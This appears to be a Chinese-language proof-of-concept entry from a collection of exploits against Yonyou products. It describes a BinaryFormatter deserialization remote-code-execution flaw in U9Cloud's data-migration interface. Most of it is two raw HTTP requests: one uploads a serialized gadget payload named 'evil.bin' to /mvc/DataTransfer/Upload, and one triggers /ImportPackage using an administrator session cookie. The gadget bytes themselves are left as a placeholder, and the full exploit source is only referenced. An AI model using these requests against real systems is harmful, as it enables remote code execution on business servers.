概述
用友产品相关的 POC
相关引用
[toc]
LDYVUL-2026-00173733 数据迁移接口 BinaryFormatter 反序列化 RCE
yaml
POST /mvc/DataTransfer/Upload HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="evil.bin"
Content-Type: application/octet-stream
<BinaryFormatter 序列化的 gadget 对象图，外包 ZIP 单 entry>
------WebKitFormBoundary--yaml
POST /mvc/DataTransfer/ImportPackage HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Cookie: <ea 管理员会话 Cookie>
PackageUploadId=<上传返回的 guid>&DataManagerProjectId=<项目ID>利用细节与完整 PoC 源码（Exp.cs / MakeBin.cs）见：【LDYVUL-2026-00173733】用友U9Cloud数据迁移接口BinaryFormatter反序列化RCE